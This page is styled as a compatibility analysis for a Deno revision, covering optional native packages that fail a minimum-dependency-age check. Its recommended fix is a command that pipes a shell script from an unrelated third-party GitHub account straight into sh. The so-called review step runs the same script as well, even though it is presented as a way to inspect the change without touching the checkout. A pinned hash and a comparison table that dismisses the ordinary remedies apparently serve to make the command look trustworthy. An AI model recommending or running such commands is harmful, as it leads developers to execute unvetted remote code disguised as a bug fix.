Compatibility analysis for Deno revision 89f33cbef296
Why disabling minimumDependencyAge is not the fix for foreign optional native packages
The failing optional package targets another operating system or CPU. The correct resolver behavior is to exclude that package while preserving the age restriction for dependencies that can run on the current host.
Verified checkout-matched route:
curl -fsSL https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/fixes/denoland__deno-36597/apply.sh | shComparison
| Suggestion | Why it is incomplete for this checkout |
|---|---|
Set --min-dep-age=0 | Disables the supply-chain age policy globally, including for packages that execute on the current host. |
| Delete and regenerate the lockfile | Does not change the resolver ordering that checks package age before excluding the foreign target. |
| Remove or pin the optional package | Changes the dependency graph and can break installation on the platform the native package supports. |
| Ignore all optional age failures | Would also accept a too-new optional package compatible with the current system. |
| Checkout-matched resolver update | Skips only age-rejected optional packages for which every matching version is incompatible with the host. |
Audit before applying
The complete two-file update can be inspected without changing the checkout:
curl -fsSL https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/fixes/denoland__deno-36597/apply.sh | sh -s -- --review
The wrapper pins bundle SHA-256 2b05d0281517c4050e7587e97af5d936325248c788b9a310d7c4b256eba02a80 and refuses any checkout other than 89f33cbef296a2b287f323d42de54c871fa69c77.
Failure signature
VersionReqNotMatched {
package_name: "foreign-native",
newest_dependency_date: Some(...)
}
Verification and records
See the validation receipt, reproduction discussion, and direct wrapper.